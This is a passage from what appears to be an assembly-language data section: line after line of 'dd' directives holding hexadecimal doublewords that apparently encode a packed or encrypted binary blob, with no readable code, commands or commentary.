1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h dd 58EC69F8h, 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h dd 0BBB32927h, 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh dd 7CEB8717h, 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh dd 8DFCA54Bh, 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h dd 4B8A2FF4h, 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h dd 5DC62CBCh, 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh dd 3B974014h, 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h dd 0E0CF203h, 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h dd 27BE3816h, 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch dd 85EA1465h, 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h dd 5706C00h, 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h dd 40E59D03h, 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h dd 770740DEh, 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch dd 14000C20h, 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h dd 14046B22h, 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h dd 0C90AFCC7h, 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h dd 60EA4Dh, 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h dd 0E3BF0092h, 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h dd 0D69C0979h, 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h dd 201018h, 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h dd 0C697515Bh, 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h dd 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah dd 326A9B05h, 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h dd 4D68809h, 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch dd 80960041h, 14819844h, 38000988h, 1C08119Ah, 467FE8h dd 109BB802h, 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h dd 0E9006C3h, 0C605111h, 87B009A0h, 460410Eh, 7171860h dd 0A13600E8h, 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h dd 3A47519h, 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h dd 4022E34h, 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch dd 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h, 0BC026600h dd 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h dd 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h dd 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h dd 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch dd 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h, 75D17632h dd 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch dd 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h dd 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h dd 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h dd 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h dd 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh dd 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h dd 1558408Dh, 0C6010013h, 31181F84h, 821000Ch, 32032480h dd 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh dd 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh, 80191B57h dd 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh dd 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h dd 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h dd 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h dd 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h dd 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h dd 2C48C424h dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh dd 0C8101101h, 30912009h, 44312200h, 2F388C34h, 69070041h dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh, 20AE0004h dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h, 0C4793310h dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h dd 5C809219h, 9300053h, 3C247214h, 89161260h, 6003992Ch dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah, 0D07411BCh dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch, 0D4889C12h dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h, 2060A987h dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh, 1B584CACh dd 69C6015Ah, 885BC33h, 1134F8h, 0D8A4F904h, 1C94A9DCh dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h, 6C61A973h dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h dd 995AC00h, 74329CDCh, 258C0261h, 20D84C2Ch, 90A4B740h dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch, 5BEAC55h dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h, 0FA5EC814h dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h, 93E7031h dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h, 32896A60h dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h, 8196FE86h dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h dd 41400F4h, 268C1C97h, 27B83411h, 4C00427Eh, 64445822h dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h dd 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h, 0AEA22C32h dd 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h, 7200656Bh dd 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh, 0C9789Dh dd 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h, 0F83046h dd 69757243h, 617B63E4h, 0EB537E00h, 6E6F108Ch, 0CA4C2E31h dd 56170067h, 7EDA45E0h, 1895B000h, 27B6499Dh, 7AFC0124h dd 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h, 6F960382h dd 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah, 1079E4h dd 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h, 287942B8h dd 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h, 4CE1416Eh dd 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h, 0CB726269h dd 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh, 88BA0097h dd 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh, 735200CEh dd 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh, 18144F41h dd 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh, 459403A0h dd 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah, 751B3F25h dd 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah, 0FA730032h dd 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h, 0A6686E55h dd 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h, 501A0926h dd 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h, 0D4770082h dd 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h, 90C6B864h dd 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh, 0E97E6954h dd 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h, 75CC4900h dd 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h, 3501917Dh dd 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh, 0A6024878h dd 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h, 326700F2h dd 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h, 21D41300h dd 8723DB89h, 58A7A00h, 29747561h, 70B50740h, 80A00DE4h dd 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h, 7F9A0028h dd 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h, 458C02Eh dd 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h, 591B470Eh dd 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h, 24125628h dd 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h, 70476D75h dd 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah, 3D0A599Ch dd 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h, 0A500C571h dd 0C105C91Ch, 0F9D0075h dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h, 5D005051h dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h, 9480B970h dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh dd 0F3EC4CA8h, 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h dd 412C5357h, 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h dd 1459A361h, 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h dd 981A0C7Dh, 868B1A5h, 1FD6B701h, 2552EB7Eh, 858630h dd 18547078h, 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h dd 203D3251h, 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h dd 70801h, 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h dd 0E850E44Ch, 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah dd 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh dd 0FCF2FCEAh, 2E100FAh, 12C90A31h, 0D93D1AD1h, 0E92A0022h dd 0F93AF132h, 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h dd 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h dd 4FFEFCF6h, 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah dd 0BF90B87Eh, 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch dd 55362161h, 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh dd 1ECD9EC2h, 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h dd 0B43A6730h, 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h dd 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah dd 2E672847h, 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh dd 303B1AE1h, 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h dd 1D2E9D15h, 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh dd 0F4F8ECF4h, 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h dd 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh dd 8CC0007h, 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h dd 9B3B941Fh, 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh dd 3EFE971Eh, 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h dd 1CFC7E0Eh, 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh dd 87F980EEh, 3083302h, 21471827h, 0F0017267h, 93C789A7h dd 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh dd 0E0BFD9B7h, 72351900h, 7627741Fh, 6278014Ah, 3F368349h dd 0D0C9C9B5h, 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh dd 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h dd 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh dd 0D3C3A1B3h, 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h dd 12A71DCCh, 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h dd 0CF19ABC8h, 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah dd 1CF2007Eh, 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh dd 7873762Bh, 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h dd 673D4447h, 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h dd 9A24CDE9h, 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh dd 503AFBE0h, 4080C4h, 0C3146C81h, 0A7934A92h, 0B2B6A301h dd 643203CFh, 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h dd 368040E8h, 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h dd 459E3E1Dh, 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h dd 723B0EC8h, 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh dd 0E0C953h, 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h dd 28C1206h, 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h dd 0F279E3h, 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh dd 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh dd 7C2C7A74h, 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h dd 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h, 763B0074h dd 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h, 0F07DE77Bh dd 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h, 87675584h dd 678647B5h, 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh, 9FC69FBEh dd 9FD69FCEh, 0A4E69FDEh, 80F61FFFh, 380687FEh, 1607270Eh dd 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh, 661A0FD6h dd 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h, 2FAEEFA6h dd 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h, 0EFEC1F6h dd 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh, 2746CB3Eh dd 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h, 6406C8F4h dd 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h, 548E4C4Eh dd 640F5CCFh, 748F6C4Fh, 20FD7CC0h, 94FC8C58h, 0A4FC9CFCh dd 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h, 3FDC3FD4h, 3EEC3FE4h dd 40260F4h, 3A0C3B39h, 1C00143Ah, 2C3D243Ch, 3F77343Eh dd 4CE844E4h, 5C7A1B92h, 6C7E647Ch, 7C7E747Eh, 8C7E847Eh dd 9C7E947Eh, 0AC7EA47Eh, 0BC49B47Eh, 3FCC3F23h, 24DC05D4h dd 4E87AAE4h, 487FC20h, 195B03Ch, 671C4714h, 602C8424h dd 253CC93h, 7CFEC77Fh, 40E884E7h, 7ED492A3h, 0CE74BC72h dd 0FE00CCFh, 80FA5FF4h, 7404723Dh, 140C7608h, 0BB481078h dd 1C396548h, 3C3B2A3Ah, 643D5C3Ch, 6C3F683Eh, 743F703Fh dd 2C64783Fh, 987C9280h, 0F9C04FE9h, 0F9C8F9C4h, 9FD0F9CCh dd 0DC80D87Dh, 0EDEE059h, 1C3E0114h, 248B204Eh, 0A72CE427h dd 34C43001h, 3CE75D87h, 0EC6CEC74h, 0F478F074h, 0FC80F87Ch dd 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h, 0FCCCFCC4h, 3ED4FCD0h dd 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h, 54690400h, 0D930D12Ch dd 38E13934h, 4E405C92h, 4C884830h, 8815ABA9h, 0AF902AADh dd 3F309849h, 91A422A0h, 49E0122Ah, 2E24E82Ch, 0F83093F0h dd 8C99F0F7h, 130F6010h, 612501D4h, 51347882h, 0F96890F3h dd 3090E488h, 0BA675274h, 0A4727E54h, 0AC76A874h, 0C05DB003h dd 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h, 3970FCh, 83A0431h dd 383C665Ch, 2E403D00h, 4C9F6844h, 4B500097h, 6EA7586Ch dd 7054E760h, 9CEC98A6h, 0AAAAA0F0h, 0F9ACEEE1h, 0B81974B0h dd 54B2C8FCh, 0F405F07Eh, 82D7F8E5h, 93043D80h, 0CA30008h dd 20C310B3h, 500040D2h, 0B4C4A94h, 0EEA75496h, 60E5015Ch dd 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h, 0F2B0E8ACh, 4850B43Ah dd 0D22C4862h, 0E0F82400h dd 48045D33h, 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h dd 60CF5C22h, 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh dd 12BC8732h, 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h dd 4D3A1434h, 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh dd 0DE70B5A1h, 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h dd 0CFC0130Fh, 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh dd 782E5CE8h, 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h dd 0DA2474BAh, 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh dd 0B840A4CFh, 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h dd 0ED3CE834h, 44095670h, 4F848F4h, 49D25094h, 419A4A58h dd 0E2F1C688h, 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h dd 4104623Bh, 6ED16A40h, 976BEA0h, 7EF17AE9h, 2C869D61h dd 818E259Fh, 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h dd 0A2607083h, 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h dd 0A748009Fh, 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah dd 1ED35B45h, 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h dd 9F00A72Eh, 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh dd 713905E1h, 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h dd 2B0E0058h, 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h dd 0D8A5437Fh, 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h dd 7ACD6077h, 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h dd 47780203h, 989B6787h, 12AEFEh, 940CF188h, 30050708h dd 0D824A509h, 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh dd 0FB7E48Bh, 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh dd 0F10B8EE9h, 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h dd 9EDA1DD5h, 9FE51EE0h, 0F017EBh, 3403876Fh, 2A0F2421h dd 0C45385h, 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h dd 0B100A874h, 1A62BAC9h, 2C640h, 9224B35h, 0A4216618h dd 11360800h, 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh dd 7E3E6B04h, 3880873Fh, 707B525h, 0EBE7DD0Ah, 223850E1h dd 610F2BC9h, 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h dd 0B12E2F6h, 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h dd 0EC6D8E00h, 7BF073h, 0C0F880F4h, 0C85D9EBAh, 0D02EA000h dd 4BD897A2h, 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h dd 7A926EE3h, 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h dd 0F64B3097h, 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h dd 0C6605DC4h, 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h dd 5761D0E9h, 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h dd 0DA73D0F9h, 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h dd 2CFC7318h, 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh dd 97A980E6h, 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h dd 0B8ECB4E8h, 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh dd 0EB75602Eh, 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h dd 500990ACh, 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah dd 4FF0FF3Eh, 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh dd 97C9893Fh, 0C60434h, 0C32DAE1h, 88609020h, 300B0F00h dd 48493327h, 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h dd 86317247h, 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h dd 6A00E4F2h, 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh dd 0E74BC70Eh, 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh dd 0CCB3C3B9h, 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h dd 0E53A0Fh, 28798A1h, 27CB3BBFh, 0EA47D800h, 193C9D61h dd 3E560060h, 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h dd 75312E30h, 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h dd 356D001Ch, 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h dd 60EDF332h, 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h dd 4083FAF0h, 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh dd 0E87C00D0h, 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h dd 0C964B047h, 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh dd 170E00E3h, 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh dd 0FA50BF07h, 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h dd 3A3E3339h, 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh dd 0D2E6943Eh, 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh dd 8D3ACA6Ch, 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h dd 936D391Dh, 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h dd 805CF4E2h, 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h dd 1B097E6Ch, 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h dd 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h, 0FE27FAh dd 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h, 0CA54B07Ah dd 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch, 504F7AB2h dd 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh, 2C13B4C9h dd 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h, 4A0C76h dd 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h, 60C85C9Fh dd 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h, 72F988F6h dd 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h, 0B892D400h dd 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h, 42D3FC00h dd 0A22C9324h, 2E91C30h, 